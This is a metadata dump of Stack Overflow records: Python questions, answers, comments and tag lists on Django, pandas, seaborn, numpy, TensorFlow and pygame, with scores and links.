tagged with: python
favorite count: 0
type: Question
tagged with: django-templates
linked to: http://stackoverflow.com/q/629551
downvote count: 0
has answer: http://stackoverflow.com/a/47348590
tagged with: django
type: AnsweredQuestion
has body: I have the following models: class Event(Page) # my fields start_date = models.DateField() end_date = models.DateField() class EventsIndex(Page): # my fields def get_events(self): events = Event.objects.all().sort_by("start_date") return events In my EventsIndex template I have 4 tabs which show the current month, the next month, the month after next and then a final tab called "Later" which should display the individual Events grouped by month: I'm trying to figure out the logic for which to get these events to display. The individual month tabs should only display the events, whereas the "Later" tab should display a heading of the month of the events and then the events themselves. Initially I thought about creating a function for each tab, so something like: def current_month_events(self): current_month, current_year = datetime.now().month, datetime.now().year events = Event.objects.filter(start_date__year=current_year, start_date__month=current_month).order_by("start_date") return events # Repeat for all required tabs However this seems to go against the DRY principle. Is there a more pythonic way to handle this logic?
upvote count: 1
score: 1
has title: Django | Displaying events grouped by month in custom format?

http://stackoverflow.com/comment/81657979
type: QuestionComment
comment on: http://stackoverflow.com/q/47352815
has text: This isn't just a Python question. It's about what the score() function returns, and making the effort to look there. I found this page that says the score is the mean accuracy, a single value, not a list. Read the scikit documentation to find what you want, and if you can't post a question about that package rather than Python in general.
score: 0
type: Comment

http://stackoverflow.com/q/47303027
score: 0
has comment: http://stackoverflow.com/comment/81557901
has comment: http://stackoverflow.com/comment/81557351
has answer: http://stackoverflow.com/a/47308964
has title: Changing axis ticks in seaborn stripplotwhere x-value is a time stamp.
tagged with: seaborn
accepted answer: http://stackoverflow.com/a/47308964
answer count: 1
linked to: http://stackoverflow.com/q/16376159
has comment: http://stackoverflow.com/comment/81557200
type: Question
has body: Fellow data nerds, I want to plot data from a dataframe, using seaborn functionality and alter the x-axis ticks. I read in the data as such import pandas as pd with open(f) as fi: df = pd.read_csv(fi, delimiter=';', parse_dates = ['date']) df.date = df.date.apply(lambda x: x.date())#removing time, only date remains dataframe has three columns that are of importance for this issue: df.date, df.sedimentation and df.label the df.date has format yyyy-mm-dd and is date object is of type: datetime.date the df.sedimentation is of type: numpy.float64 the df.label is of type: str I plot the data as following: import matplotlib.pyplot as plt import seaborn as sns fig, ax = plt.subplots(figsize = figsize) sns.set_style( "darkgrid") ax.set_title(title) ax = sns.stripplot(data = df, x = 'date', y = 'sedimentation', hue = 'label') ax.set_ylim([-90,100]) plt.legend(ncol = 3, bbox_to_anchor=(1, 1), loc="upper left") plt.show() This gives the following image: However, the ticks on the x-axis only shows the values as given in the dataframe df. I want to have a continues x-axis showing all the months per year. With the data points of df.sedimentation showing at the correct points of the x-axis. So I add the following: import matplotlib.dates as mdates years = mdates.YearLocator() # set yearly ticker months = mdates.MonthLocator() # set monthly ticker yearsFmt = mdates.DateFormatter('\n\n%Y') # set format for year monthsFmt = mdates.DateFormatter('%b') # set format for month ax.xaxis.set_major_locator(years) ax.xaxis.set_major_formatter(yearsFmt) ax.xaxis.set_minor_locator(months) ax.xaxis.set_minor_formatter(monthsFmt) datemin = dt.date(df.date.min().year, 1, 1) datemax = dt.date(df.date.max().year + 1, 1, 1) ax.set_xlim(datemin, datemax) But here is were some weird mojo happens that I do not understand, I get this image: I get a beautiful x-axis ticker, but my data is not showing... So I thought, maybe there are two different axes-objects. One here: fig, ax = plt.subplots(figsize = f…
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81557262
has comment: http://stackoverflow.com/comment/81557824
tagged with: python
has comment: http://stackoverflow.com/comment/81557005
has comment: http://stackoverflow.com/comment/81557927
type: AnsweredQuestion

http://stackoverflow.com/a/47337251
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47337195
has body: Prelude: If your None is actually a string, you can simplify any headaches by getting rid of them first-up. Use replace: df = df.replace('None', np.nan) I believe you could use fillna + value_counts: df Col_A 0 a 1 NaN 2 NaN 3 c 4 c 5 d 6 d df.fillna(df.Col_A.value_counts(sort=False).index[0]) Col_A 0 a 1 c 2 c 3 c 4 c 5 d 6 d Or, with Vaishali's suggestion, use idxmax to pick c: df.fillna(df.Col_A.value_counts(sort=False).idxmax()) Col_A 0 a 1 c 2 c 3 c 4 c 5 d 6 d The fill-values could either be c or d, depending on whether you include sort=False or not. Details df.Col_A.value_counts(sort=False) c 2 a 1 d 2 Name: Col_A, dtype: int64
has comment: http://stackoverflow.com/comment/81626741
has comment: http://stackoverflow.com/comment/81626504
has comment: http://stackoverflow.com/comment/81626473
has comment: http://stackoverflow.com/comment/81626780
has comment: http://stackoverflow.com/comment/81630551
has comment: http://stackoverflow.com/comment/81626738
has comment: http://stackoverflow.com/comment/81626761
score: 6
upvote count: 6
type: Answer
has comment: http://stackoverflow.com/comment/81626526
has comment: http://stackoverflow.com/comment/81626687
has comment: http://stackoverflow.com/comment/81629015
has comment: http://stackoverflow.com/comment/81629485
has comment: http://stackoverflow.com/comment/81629847
accepted answer of: http://stackoverflow.com/q/47337195
downvote count: 0
has comment: http://stackoverflow.com/comment/81629060
has comment: http://stackoverflow.com/comment/81629275

http://stackoverflow.com/q/47347444
score: 1
upvote count: 1
has body: I wrote a Python program on my Mac running Python 2.7.10. It's just 1 single .py file. The first few lines of the program are like this: #!/usr/bin/env python import clipboard import time import sys import os import pyperclip import re sys.path.append(os.path.abspath("SO_site-packages")) I want to compile this .py file to an .exe that can be run on any Windows machine. I thus want to include the imported libraries in the .exe. Is this even possible? If yes, how do I achieve this?
answer count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: compilation
tagged with: python
has answer: http://stackoverflow.com/a/47347643
has title: Compile Python Program include imports
downvote count: 0

http://stackoverflow.com/q/47327646
has answer: http://stackoverflow.com/a/47328035
favorite count: 0
score: 8
type: Question
upvote count: 8
tagged with: nonetype
has title: Handling None when adding numbers
tagged with: python
has comment: http://stackoverflow.com/comment/81606324
has answer: http://stackoverflow.com/a/47327908
type: AnsweredQuestion
answer count: 3
possible better answer: http://stackoverflow.com/a/47327912
accepted answer: http://stackoverflow.com/a/47328035
has body: I would like to perform addition of 2 integers, which can also be None, with the following results: add(None, None) = None add(None, b) = b add(a, None) = a add(a, b) = a + b What is the most pythonic, concise expression for this? So far I have: def add1(a, b): if a is None: return b elif b is None: return a else: return a + b or def add2(a, b): try: return a + b except TypeError: return a if a is not None else b Is there any shorter way to achieve it?
downvote count: 0
has answer: http://stackoverflow.com/a/47327912

http://stackoverflow.com/a/47343060
has body: you can find it here tensorflow moving average (v0.12) edit: As you can see from the official Tesnorflow (v1.4) documentation and the code Class ExponentialMovingAverage Defined in tensorflow/python/training/moving_averages.py
answers question: http://stackoverflow.com/q/47343017
type: Answer
has comment: http://stackoverflow.com/comment/81638545
has comment: http://stackoverflow.com/comment/81639072
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/81638430
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81639410
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47343017

http://stackoverflow.com/q/47319277
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/47341360
tagged with: numpy
possible better answer: http://stackoverflow.com/a/47319673
has comment: http://stackoverflow.com/comment/81589943
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47319673
score: 5
downvote count: 0
accepted answer: http://stackoverflow.com/a/47341360
has title: Generate random numbers from exponential distribution and model using python
has body: My goal is to create a dataset of random points whose histogram looks like an exponential decay function and then plot an exponential decay function through those points. First I tried to create a series of random numbers (but did not do so successfully since these should be points, not numbers) from an exponential distribution. from pylab import * from scipy.optimize import curve_fit import random import numpy as np import pandas as pd testx = pd.DataFrame(range(10)).astype(float) testx = testx[0] for i in range(1,11): x = random.expovariate(15) # rate = 15 arrivals per second data[i] = [x] testy = pd.DataFrame(data).T.astype(float) testy = testy[0]; testy plot(testx, testy, 'ko') The result could look something like this. And then I define a function to draw a line through my points: def func(x, a, e): return a*np.exp(-a*x)+e popt, pcov = curve_fit(f=func, xdata=testx, ydata=testy, p0 = None, sigma = None) print popt # parameters print pcov # covariance plot(testx, testy, 'ko') xx = np.linspace(0, 15, 1000) plot(xx, func(xx,*popt)) plt.show() What I'm looking for is: (1) a more elegant way to create an array of random numbers from an exponential (decay) distribution and (2) how to test that my function is indeed going through the data points.
has answer: http://stackoverflow.com/a/47324702
tagged with: random
type: Question
tagged with: pandas
upvote count: 5
has comment: http://stackoverflow.com/comment/81589825
answer count: 3
tagged with: curve-fitting
has comment: http://stackoverflow.com/comment/81589826

http://stackoverflow.com/comment/81508041
comment on: http://stackoverflow.com/a/47278592
score: 0
type: Comment
type: AnswerComment
has text: `df1['created_date'] = df1['created_date'].astype(str) df1['created_date'].dtype dtype('O')`. It gives me this but it does not convert to json.

http://stackoverflow.com/comment/81615854
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47331575
has text: Oh ok right, is `movie_date.info` a Series? If so, you can try manually printing out each row by iterating through them, and use `.encode('utf-8', 'ignore'))` for when printing out text.

http://stackoverflow.com/comment/81667599
comment on: http://stackoverflow.com/q/47357213
score: 0
has text: 3 people (including myself) immediately answered this question with the JSON module... haha
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81469187
type: AnswerComment
has text: We require the outerHTML possibly till the node which contains ` ` atleast.
comment on: http://stackoverflow.com/a/47258792
score: 0
type: Comment

http://stackoverflow.com/a/47368511
upvote count: 5
type: Answer
answers question: http://stackoverflow.com/q/47368468
has comment: http://stackoverflow.com/comment/81689477
score: 5
has body: The problem is caused because clicked passes a Boolean value indicating whether it has been checked or not. the appropriate thing is to use a parameter to use that argument: button.clicked.connect(lambda checked, x=x,y=y,file=file: self.myfunction(x,y,file))
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47368468

http://stackoverflow.com/comment/81647056
type: Comment
type: AnswerComment
has text: I know about matching, it;s ok. but adding the indent throws me an error "TypeError: 'indent' is an invalid keyword argument for this function"
comment on: http://stackoverflow.com/a/47345818
score: 0

http://stackoverflow.com/q/47291094
has answer: http://stackoverflow.com/a/47295135
type: Question
has body: Suppose I have a singly linked list generated as: # Singly Linked List class node: def __init__(self,data=None): self.data=data self.next=None class linked_list: def __init__(self): self.head=node() # Adds new node containing 'data' to the end of the linked list. def append(self,data): new_node=node(data) cur=self.head while cur.next!=None: cur=cur.next cur.next=new_node # Returns the length (integer) of the linked list. def length(self): cur=self.head total=0 while cur.next!=None: total+=1 cur=cur.next return total # Prints out the linked list in traditional Python list format. def display(self): elems=[] cur_node=self.head while cur_node.next!=None: cur_node=cur_node.next elems.append(cur_node.data) print elems # Returns the value of the node at 'index'. def get(self,index): if index&gt;=self.length(): print "ERROR: 'Get' Index out of range!" return None cur_idx=0 cur_node=self.head while True: cur_node=cur_node.next if cur_idx==index: return cur_node.data cur_idx+=1 # Deletes the node at index 'index'. def erase(self,index): if index&gt;=self.length(): print "ERROR: 'Erase' Index out of range!" return cur_idx=0 cur_node=self.head while True: last_node=cur_node cur_node=cur_node.next if cur_idx==index: last_node.next=cur_node.next return cur_idx+=1 #Allows for bracket operator syntax (i.e. a[0] to return first item). def __getitem__(self,index): return self.get(index) def getindex(self,data): cur_node = self.data while True: cur_node = cur_node.next if cur_node == data: return cur_node.index break index +=1 And suppose I create a singly linked list as: new_list = linked_list() new_list.append(5) new_list.append(6) new_list.append(8) Suppose I want to delete the 2nd value in the list (index 1) which happens to be the value 6 but I don't know what's the index for 6. How would I be able to find the index value of 6 and use it to delete 6? Or is there another way to delete a value from a singly linked list without knowing the index value? EDIT: I've added a new module…
has title: Is it possible to obtain index value from Singly linked list?
score: 0
has comment: http://stackoverflow.com/comment/81532914
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81541900
has comment: http://stackoverflow.com/comment/81533000
has comment: http://stackoverflow.com/comment/81533063
answer count: 1
tagged with: singly-linked-list
has comment: http://stackoverflow.com/comment/81542152
has comment: http://stackoverflow.com/comment/81533095
tagged with: indexing
tagged with: list
has comment: http://stackoverflow.com/comment/81539165

http://stackoverflow.com/comment/108477412
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/54059392
has text: In the Method 1, you gave the instruction how to connect Google Drive, but not about how to read a file (a .csv for example). You create a variable called "path", but then what do you do with it? How do you upload your .csv from you Google Drive into the Google Colab notebook?

http://stackoverflow.com/comment/81659052
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47353304
has text: I mean ` ` sorry

http://stackoverflow.com/comment/81500415
type: Comment
score: 0
has text: `NameError: global name 'socket' is not defined`
type: AnswerComment
comment on: http://stackoverflow.com/a/47274539

http://stackoverflow.com/comment/81590349
comment on: http://stackoverflow.com/q/47316810
type: QuestionComment
has text: Thanks! Is there no work around for this, or will I have to switch to a different headless browser?
type: Comment
score: 0

flask
tags question: http://stackoverflow.com/q/47273686
tags question: http://stackoverflow.com/q/47251589
tags question: http://stackoverflow.com/q/47300973
tags question: http://stackoverflow.com/q/47270694
tags question: http://stackoverflow.com/q/47339082
tags question: http://stackoverflow.com/q/47244942
tags question: http://stackoverflow.com/q/47223592
tags question: http://stackoverflow.com/q/47363492
tags question: http://stackoverflow.com/q/47342666
tags question: http://stackoverflow.com/q/47271454
tags question: http://stackoverflow.com/q/47339747
tags question: http://stackoverflow.com/q/47228177
tags question: http://stackoverflow.com/q/47321862
tags question: http://stackoverflow.com/q/47242160
tags question: http://stackoverflow.com/q/47304877
tags question: http://stackoverflow.com/q/47379180
tags question: http://stackoverflow.com/q/47277889
tags question: http://stackoverflow.com/q/47271582
tags question: http://stackoverflow.com/q/47275391
tags question: http://stackoverflow.com/q/47311655
tags question: http://stackoverflow.com/q/47277374
tags question: http://stackoverflow.com/q/47327439
tags question: http://stackoverflow.com/q/47250314
tags question: http://stackoverflow.com/q/47274612
tags question: http://stackoverflow.com/q/47280533
tags question: http://stackoverflow.com/q/47230872
tags question: http://stackoverflow.com/q/47296999
tags question: http://stackoverflow.com/q/47337221
tags question: http://stackoverflow.com/q/47287552
tags question: http://stackoverflow.com/q/47288166
tags question: http://stackoverflow.com/q/47332244
tags question: http://stackoverflow.com/q/47368719
tags question: http://stackoverflow.com/q/47242660
tags question: http://stackoverflow.com/q/47243887
tags question: http://stackoverflow.com/q/47227425
tags question: http://stackoverflow.com/q/47298146
tags question: http://stackoverflow.com/q/47277268
tags question: http://stackoverflow.com/q/47378820
tags question: http://stackoverflow.com/q/47284786
tags question: http://stackoverflow.com/q/47327772
tags question: http://stackoverflow.com/q/47233706
tags question: http://stackoverflow.com/q/47350794
tags question: http://stackoverflow.com/q/47317722
tags question: http://stackoverflow.com/q/47280146
tags question: http://stackoverflow.com/q/47267685
tags question: http://stackoverflow.com/q/47251706
tags question: http://stackoverflow.com/q/47364269
tags question: http://stackoverflow.com/q/47271626
tags question: http://stackoverflow.com/q/47374780
tags question: http://stackoverflow.com/q/47365960
tags question: http://stackoverflow.com/q/47257016
tags question: http://stackoverflow.com/q/47279862
tags question: http://stackoverflow.com/q/47256340
tags question: http://stackoverflow.com/q/47294304
tags question: http://stackoverflow.com/q/47343359
tags question: http://stackoverflow.com/q/47310702
tag name: flask
tags question: http://stackoverflow.com/q/47294456
tags question: http://stackoverflow.com/q/47251224
tags question: http://stackoverflow.com/q/47260848
tags question: http://stackoverflow.com/q/47235597
tags question: http://stackoverflow.com/q/47314299
tags question: http://stackoverflow.com/q/47290782
tags question: http://stackoverflow.com/q/47243979
tags question: http://stackoverflow.com/q/47249748
tags question: http://stackoverflow.com/q/47372512
tags question: http://stackoverflow.com/q/47376744
tags question: http://stackoverflow.com/q/47368054
tags question: http://stackoverflow.com/q/47233710
tags question: http://stackoverflow.com/q/47254605
tags question: http://stackoverflow.com/q/47241967
tags question: http://stackoverflow.com/q/47280885
tags question: http://stackoverflow.com/q/47344756
tags question: http://stackoverflow.com/q/47342032
type: Tag
tags question: http://stackoverflow.com/q/47372745
tags question: http://stackoverflow.com/q/47275206
tags question: http://stackoverflow.com/q/47238087
tags question: http://stackoverflow.com/q/47274802
tags question: http://stackoverflow.com/q/47263637

http://stackoverflow.com/a/47352604
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47351455
answers question: http://stackoverflow.com/q/47351455
type: Answer
downvote count: 0
has body: As is, your question is totally unclear - but anyway, since you don't seem to understand what a property is and how it works... class Obj(object): def __init__(self, x, y): self.x = x @property def x(self): return self._x / 2 @x.setter def x(self, value): self._x = value * 2 Here we have a class with a get/set ("binding") property x, backed by a protected attribute _x. The "@property" syntax here is mainly syntactic sugar, you could actually write this code as class Obj(object): def __init__(self, x, y): self.x = x self.y = y def get_x(self): return self._x / 2 def set_x(self, value): self._x = value * 2 x = property(fget=get_x, fset=set_x) The only difference with the previous version being that the get_x and set_x functions remain available as methods. Then if we have an obj instance: obj = Obj(2, 4) Then x = obj.x is just a shortcut for x = obj.get_x() and obj.x = 42 is just a shortcut for obj.set_x(42) How this "shortcut" works is fully documented here, with a whole chapter dedicated to the property type. As you can see there's nothing magical here, and once you get (no pun intended) the descriptor protocol and how the property class uses it, you can answer the question by yourself. Note that properties will ALWAYS add some overhead (vs plain attributes or direct method call) since you have more indirections levels and method calls invoked, so it's best to only use them when it really makes sense. EDIT: now you posted your code, I confirm that you don't understand Python's "properties" - not only the technical side of it but even the basic concept of a "computed attribute". The point of computed attributes in general (the builtin property type being just one generic implementation of) is to have the interface of a plain attribute (something you can get the value if with value = obj.attrname and eventually set the value of with obj.attrname = somevalue) but actually invoking a getter (and eventually a setter) behind the hood. Your elements "property" while techni…
score: 1
upvote count: 1

http://stackoverflow.com/a/47373538
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81717674
accepted answer of: http://stackoverflow.com/q/47373311
score: 2
has comment: http://stackoverflow.com/comment/81718310
has comment: http://stackoverflow.com/comment/81712740
has comment: http://stackoverflow.com/comment/81699763
downvote count: 0
answers question: http://stackoverflow.com/q/47373311
has comment: http://stackoverflow.com/comment/81717553
type: Answer
has body: Here is a sampler that creates a sample cut from an array of any dimensionality. It uses functions to control where to start the cut and for how wide the cut should be along any axis. Here is an explanation of the parameters: arr - the input numpy array. loc_sampler_fn - this is the function you want to use to set the corner of the box. If you want the corner of the box to be sampled uniformly from the anywhere along the axis, use np.random.uniform. If you want the corner to be closer to the center of the array, use np.random.normal. However, we need to tell the function what range to sample over. This brings us to the next parameter. loc_dim_param - this passes the size of each axis to loc_sampler_fn. If we are using np.random.uniform for the location sampler, we want to sample from the entire range of the axis. np.random.uniform has two parameters: low and high, so by passing the length of the axis to high it samples uniformly over the entire axis. In other words, if the axis has length 120 we want np.random.uniform(low=0, high=120), so we would set loc_dim_param='high'. loc_params - this passes any additional parameters to loc_sampler_fn. Keeping with the example, we need to pass low=0 to np.random.uniform, so we pass the dictionary loc_params={'low':0}. From here, it is basically identical for the shape of the box. If you want the box height and width to be uniformly sampled from 3 to 10, pass in shape_sampler_fn=np.random.uniform, with shape_dim_param=None since we are not using the size of the axis for anything, and shape_params={'low':3, 'high':11}. def box_sampler(arr, loc_sampler_fn, loc_dim_param, loc_params, shape_sampler_fn, shape_dim_param, shape_params): ''' Extracts a sample cut from `arr`. Parameters: ----------- loc_sampler_fn : function The function to determine the where the minimum coordinate for each axis should be placed. loc_dim_param : string or None The parameter in `loc_sampler_fn` that should use the axes dimension size loc_params : dict P…
has comment: http://stackoverflow.com/comment/81718815
upvote count: 2
has comment: http://stackoverflow.com/comment/81717511

http://stackoverflow.com/q/47268107
tagged with: isinstance
type: AnsweredQuestion
score: 4
tagged with: assert
tagged with: duck-typing
answer count: 1
accepted answer: http://stackoverflow.com/a/47268291
favorite count: 0
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/47268291
has body: I am trying to implement a Vector3 class in python. If I would write the Vector3 class in c++ or c# i would have X, Y, and Z members stored as floats but in python I read that ducktyping is the way to go. So according to my c++/c# knowledge I wrote something like this: class Vector3: def __init__(self, x=0.0, y=0.0, z=0.0): assert (isinstance(x, float) or isinstance(x, int)) and (isinstance(y, float) or isinstance(y, int)) and \ (isinstance(z, float) or isinstance(z, int)) self.x = float(x) self.y = float(y) self.z = float(z) The question is regarding the assert statements: Would you use them or not in this instance (a Vector3 implementation for math). I also used it for the operations like def __add__(self, other): assert isinstance(other, Vector3) return Vector3(self.x + other.x, self.y + other.y, self.z + other.z) Would you use assert in these instances or not? According to this website : https://wiki.python.org/moin/UsingAssertionsEffectively it should not be overused but for me as someone who used static typing all along, not checking for the same datatype is extremely weird.
has title: Python assert isinstance() Vector
downvote count: 0
tagged with: python

http://stackoverflow.com/a/47245433
score: 0
has comment: http://stackoverflow.com/comment/81446860
has body: maybe too advanced, but its hard to resist a 'one liner' comprehension... ns = [20, 56, 2] tl = [43, 12, 20, 20, 56, 56, 2, 4, 98, 20] [sum(a == b for a, b in zip(ns, tl[i:])) for i in range(len(tl)-len(ns)+1)] Out[31]: [0, 0, 1, 2, 2, 0, 0, 0] the pattern is loosely speaking 'convolution': sliding a 'kernal' ns incrementally in parallel over another list tl, doing some operation between the matching position values, summing the result and collecting the sums at each increment in a list for i in range(len(tl)-len(ns)+1) generates the index i a == b for a, b in zip(ns, tl[i:]) is a generator expression inside sum() zip(ns, tl[i:]) lines up ns in parallel with the same length slice of tl starting at index i zip automatically discards the ecxcess tl elements we can sum the boolean result from a == b becuse of 'duck typing' which turns True, False into 1, 0 the output [0, 0, 1, 2, 2, 0, 0, 0] is a list of the number of matches between ns and tl[i:] at each i for the i in range(len(tl)-len(ns)+1) where ns and t1 fully overlap
type: Answer
answers question: http://stackoverflow.com/q/47243858

http://stackoverflow.com/comment/81695281
type: Comment
score: 0
type: QuestionComment
has text: what do you mean @schwobaseggl ?
comment on: http://stackoverflow.com/q/47371097

http://stackoverflow.com/q/47291216
has answer: http://stackoverflow.com/a/47291313
has answer: http://stackoverflow.com/a/47291312
favorite count: 0
tagged with: ajax
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81533228
score: 1
has body: good morning, I just got a problem with my like button, it's only working on the first item and it does not work on the others This is my views.py @login_required @require_POST def like(request): if request.method == 'POST': user = request.user slug = request.POST.get('slug', None) tweet = get_object_or_404(Tweet, slug=slug) if tweet.likes.filter(id=user.id).exists(): tweet.likes.remove(user) message = 'Your disliked this' else: tweet.likes.add(user) message = 'You liked this' ctx = {'likes_count': tweet.total_likes, 'message':message} return HttpResponse(json.dumps(ctx), content_type='application/json') When I click in the like button on the first item this works fine but, when I click like button in the other items this not works. My models.py class Tweet(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE) title = models.CharField('Titulo', max_length=100) text = models.CharField(max_length=160) slug = models.SlugField(max_length=180) likes = models.ManyToManyField(User, related_name='likes') created_date = models.DateTimeField(auto_now_add=True) updated_date = models.DateTimeField(auto_now=True) @property def total_likes(self): return self.likes.count() and this is my scrip ajax: &lt;script type="text/javascript"&gt; $("#like-button").click(function(e){ e.preventDefault(); $.ajax({ type: 'POST', url: "/like/", data: {'slug': $(this).attr('name'), 'csrfmiddlewaretoken': '{{csrf_token}}'}, dataType: "json", success: function(response){ alert("This tweet has " + response.likes_count); }, error: function(rs, r){ alert(rs.responseText); } }); }); &lt;/script&gt; My html button: &lt;input type="button" id="like-button" name="{{tweet.slug}}" value="Like {{tweet.total_likes}}" class="btn btn-primary"&gt;
tagged with: python
has comment: http://stackoverflow.com/comment/81533012
type: Question
answer count: 2
has title: Django & ajax like button only works in first item
downvote count: 0
accepted answer: http://stackoverflow.com/a/47291313
tagged with: django
tagged with: javascript
upvote count: 1
possible better answer: http://stackoverflow.com/a/47291312
tagged with: jquery

http://stackoverflow.com/comment/81626412
type: AnswerComment
comment on: http://stackoverflow.com/a/47337201
type: Comment
has text: Right, that's better.
score: 0

http://stackoverflow.com/comment/81544798
comment on: http://stackoverflow.com/q/47296638
type: QuestionComment
type: Comment
has text: My solution converts both prices to floats, not just the first.
score: 0

http://stackoverflow.com/comment/81494889
comment on: http://stackoverflow.com/a/47272014
type: AnswerComment
has text: You'd typically want to sort the index after if you want to retain order.
score: 0
type: Comment

http://stackoverflow.com/q/47280966
downvote count: 1
has comment: http://stackoverflow.com/comment/81523742
has comment: http://stackoverflow.com/comment/81512428
favorite count: 0
type: Question
has body: I try to build a game using pygame and have issues with mouse events. Basically even if I click the exactly same place, two different kinds of events will register at different time. For example if I click on monster.rect, if may register as I click another rect, which have no intersection with monster.rect, then if I move my mouse a little bit and move back and re-click on the exact same position and then it registered correctly. Here is my code: def check_events(screen, monster, buttons, button_status): """Check mouse and keyboard evetns""" for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() elif event.type == pygame.KEYDOWN: if event.key == pygame.K_ESCAPE: sys.exit() elif event.type == pygame.MOUSEBUTTONDOWN: if monster.rect.collidepoint(pygame.mouse.get_pos()): #If click monster cards button_status.monster_initial_active() #active monster initial button print('click') elif buttons: for button in buttons: if button.rect.collidepoint(pygame.mouse.get_pos()): if button.text == 'Play': monster_play() elif button.text == 'Level up': monster_level_up() elif button.text == 'Back': monster_back(button_status) print(button.rect) elif event.type == pygame.MOUSEMOTION: print(pygame.mouse.get_pos()) elif event.type == pygame.MOUSEBUTTONUP: print('0') Please help me if you can, thanks! Code in the main loop: while True: gf.check_events(screen, monster, buttons, button_status) gf.update_screen(ai_settings, screen, character_1, character_2, monster, tactic, buttons, button_status) clock.tick(25)
linked to: http://stackoverflow.com/q/64087982
score: 0
duplicate of: http://stackoverflow.com/q/64087982
tagged with: python
tagged with: pygame
has title: pygame mouse events not register smoothly
answer count: 0
duplicate of: http://stackoverflow.com/q/59799575
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/a/47315430
has comment: http://stackoverflow.com/comment/81581969
has comment: http://stackoverflow.com/comment/81582952
score: 0
answers question: http://stackoverflow.com/q/47315179
has comment: http://stackoverflow.com/comment/81581791
has body: You can use heapq.nlargest to find the three largest values and then inspect them: import heapq max3 = heapq.nlargest(3, candidates_and_fp_votes.values()) max3 will now contain the three largest values (preserving multiple occurrences) in descending order. The rest should be easy.
type: Answer
has comment: http://stackoverflow.com/comment/81581906

http://stackoverflow.com/q/47267636
tagged with: python
has answer: http://stackoverflow.com/a/47268929
favorite count: 0
type: Question
has body: I am quite new in using Tensorflow, this is a sample of code that i found while googling. I tried to freeze the graph but it said that i need to input the correct output node. Since i am new to this, i am having a hard time to understand it. How do i find my output node in this code or do i need to freeze the whole graph? import tensorflow as tf import numpy as np import sys class Seq2Seq(object): def __init__(self, xseq_len, yseq_len, xvocab_size, yvocab_size, emb_dim, num_layers, ckpt_path, lr=0.0001, epochs=200, model_name='seq2seq_model'): # attach these arguments to self self.xseq_len = xseq_len self.yseq_len = yseq_len self.ckpt_path = ckpt_path self.epochs = epochs self.model_name = model_name # build thy graph # attach any part of the graph that needs to be exposed, to the self def __graph__(): # placeholders tf.reset_default_graph() # encoder inputs : list of indices of length xseq_len self.enc_ip = [ tf.placeholder(shape=[None,], dtype=tf.int64, name='ei_{}'.format(t)) for t in range(xseq_len) ] # labels that represent the real outputs self.labels = [ tf.placeholder(shape=[None,], dtype=tf.int64, name='ei_{}'.format(t)) for t in range(yseq_len) ] # decoder inputs : 'GO' + [ y1, y2, ... y_t-1 ] self.dec_ip = [ tf.zeros_like(self.enc_ip[0], dtype=tf.int64, name='GO') ] + self.labels[:-1] # Basic LSTM cell wrapped in Dropout Wrapper self.keep_prob = tf.placeholder(tf.float32) # define the basic cell basic_cell = tf.contrib.rnn.core_rnn_cell.DropoutWrapper( tf.contrib.rnn.core_rnn_cell.BasicLSTMCell(emb_dim, state_is_tuple=True), output_keep_prob=self.keep_prob) # stack cells together : n layered model stacked_lstm = tf.contrib.rnn.core_rnn_cell.MultiRNNCell([basic_cell]*num_layers, state_is_tuple=True) # for parameter sharing between training model # and testing model with tf.variable_scope('decoder') as scope: # build the seq2seq model # inputs : encoder, decoder inputs, LSTM cell type, vocabulary sizes, embedding dimensions self.decode_outputs, self.decode_…
tagged with: numpy
answer count: 1
downvote count: 0
upvote count: 7
tagged with: tensorflow
type: AnsweredQuestion
score: 7
accepted answer: http://stackoverflow.com/a/47268929
has title: TensorFlow : How do i find my output node in my Tensorflow trained model?

http://stackoverflow.com/q/47230690
has title: OpenCV - undefined symbol: hb_font_funcs_set_variation_glyph_func
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/50078794
has body: I have a working anaconda environment on my ubuntu 17.10 machine and installed opencv3 using conda install -c menpo opencv3 When I try to import cv2 the following error shows up import cv2 ImportError: /usr/lib/x86_64-linux-gnu/libpangoft2-1.0.so.0: undefined symbol: hb_font_funcs_set_variation_glyph_func
favorite count: 0
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/50078794
tagged with: opencv
type: AnsweredQuestion
score: 2
tagged with: anaconda
upvote count: 2

multi-gpu
type: Tag
tags question: http://stackoverflow.com/q/47314702
tag name: multi-gpu

http://stackoverflow.com/q/47319325
tagged with: python
score: -1
has title: Why only PHP allowed in html code but other languages use CGI?
has body: For example, why developers of Python don't make the interpreter for using Python like PHP in HTML code?
has comment: http://stackoverflow.com/comment/81589870
accepted answer: http://stackoverflow.com/a/47319579
has comment: http://stackoverflow.com/comment/81592499
downvote count: 2
tagged with: apache
answer count: 1
tagged with: cgi
has comment: http://stackoverflow.com/comment/81589993
upvote count: 1
tagged with: php
favorite count: 0
has comment: http://stackoverflow.com/comment/81589923
type: Question
type: AnsweredQuestion
tagged with: server
has answer: http://stackoverflow.com/a/47319579
has comment: http://stackoverflow.com/comment/81589844

http://stackoverflow.com/comment/81452498
has text: Then use `max1 = db7.groupby('ID'['Time(in Hours)'].transform('max')` - group by column `ID` only.
type: AnswerComment
comment on: http://stackoverflow.com/a/47250753
score: 0
type: Comment

http://stackoverflow.com/q/47375416
tagged with: keras
favorite count: 0
